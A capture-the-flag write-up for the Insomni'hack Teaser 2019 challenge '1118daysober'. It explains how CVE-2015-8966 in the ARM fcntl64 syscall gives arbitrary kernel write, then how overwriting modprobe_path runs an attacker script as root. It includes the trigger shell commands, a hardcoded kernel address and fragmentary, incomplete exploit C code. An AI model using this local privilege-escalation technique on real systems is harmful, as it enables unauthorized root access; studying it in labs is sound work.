Insomni'hack Teaser 2019 1118daysober

1118daysober : Insomni’hack Teaser 2019

The kernel of this vm is vulnerable to CVE-2015-8966, exploit it to gain root privileges and read /flag/flag.txt !
Terminal ssh
Password: 1118daysober

We were given a arm qemu image and the information that it is vulnerable to CVE-2015-8966

$ ls
config  flag_part.img  README.txt  rootfs.img  vmlinux  zImage
$ ./
$ uname -a
Linux (none) 4.9.118-00001-gab86c83a4f15 #1 SMP Sun Jan 13 14:34:37 CET 2019 armv7l GNU/Linux

Lucky I was able to find POC online for this CVE by the person who found this bug. So the bug was in the fcntl64 legacy syscall. This function will call set_fs(KERNEL_DS) and it will not be set back to USER_DS when some particular flag was specified.

So the addr_limit variable in the task_struct specify the boundary of userspace and kernelspace address and when some pointers are passed to the kernel via syscall it is verified that these pointers are in the range of userspace using access_ok() macros. So basically read(0, (void*)0xc0008000, 8) wouldn’t work since we have specified a kernel address. So there are times when we need to bypass this check to specify a kernel address. The set_fs() is used to change this, so set_fs(KERNEL_DS) set it to large value so that access_ok always return true. So after triggering the bug we can give kernel address.

I was able to give kernel addresses, but noticed that while giving user space pointer it was crashing , I could not figure out the exact cause of this. Anyway now we can only use kernel address. The main part of this post is to discuss about a cool trick, which can be used since we have a arbitrary read/write primitive in kernel space to exploit this bug.

usermode-helper API

Using this API we can execute binaries from kernel space, and the best part is it will be executed as root. One of the use case of this to load required module dynamically when new device is plugged in or if we have specified a program to process the code dump in core_pattern. This is a great article which talks about this API Invoking user-space applications from the kernel

If we can trigger a event which will execute this code path and if we can control the program executed we can run program as root.

So when you execute a program Linux searches through it internal data structure figure out the binary format of the program and the specific loader to load the program into memory and start executing it . And if that process fails if checks if there is any kernel module that will help it to load the binary of this specific format. For that it requires to execute modprobe command and the kernel used this API to execute and load module.

	modprobe_path is set via /proc/sys.
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
static int call_modprobe(char *module_name, int wait)
	struct subprocess_info *info;
	static char *envp[] = {

	char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
	if (!argv)
		goto out;

	module_name = kstrdup(module_name, GFP_KERNEL);
	if (!module_name)
		goto free_argv;

	argv[0] = modprobe_path;
	argv[1] = "-q";
	argv[2] = "--";
	argv[3] = module_name;	/* check free_modprobe_argv() */
	argv[4] = NULL;

	info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
					 NULL, free_modprobe_argv, NULL);
	if (!info)
		goto free_module_name;

	return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

So if we can overwrite the modeprobe_path and if you try to execute a binary of invalid format it will execute the specified binary.

There are also other place in the code base were we can use the same trick to get code execution . like poweroff_cmd Since we have a write primitive in kernel space we can use it to overwrite the modeprobe_path using read syscall. Then trigger the code path to execute specified file.

  long modeprobe_path = 0xc1334dc8;

Then trigger it with

$ echo -ne '#!/bin/sh\n/bin/cp /flag/flag.txt /home/user/flag\n/bin/chmod 777 /home/user/flag\n' > /home/user/pwn
$ chmod +x /home/user/pwn
$ echo -ne '\xff\xff\xff\xff' > /home/user/ll
$ chmod +x /home/user/ll
$ /home/user/ll

We will overwrite modeprobe_path with /home/user/pwn.

Since ll contains a invalid magic bit, request_module function will be triggers and our pwn script will be executed as root which copies the flag can set the permission so that anyone can read it.

Exploit code, most of the code is from the POC.

#define _GNU_SOURCE
#include "libc.h"

#define SEEK_SET  0       /* Seek from beginning of file.  */

struct flock
  short int l_type;	/* Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK.	*/
  short int l_whence;	/* Where `l_start' is relative to (like `lseek').  */
  unsigned long l_start;	/* Offset where the lock begins.  */
  unsigned long l_len;	/* Size of the locked area; zero means until EOF.  */
  int l_pid;	/* Process holding the lock.  */
int try_to_read_kernel(){
  int len;
  int try_bytes = 4;

  /* char * path="/home/user/lll"; */
  long modeprobe_path = 0xc1334dc8;
  return len == try_bytes;

__attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
  __asm __volatile (
                    "swi	0x9000DD\n"
                    "mov	pc, lr\n"

#define F_OFD_GETLK	36
#define F_OFD_SETLK	37
#define F_OFD_SETLKW 38

int _start(){
  int fd = open("/proc/cpuinfo", O_RDONLY);
  struct flock *map_base = 0;

  map_base = (struct flock *)mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

  map_base->l_start = SEEK_SET;
  sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base);
  return 0;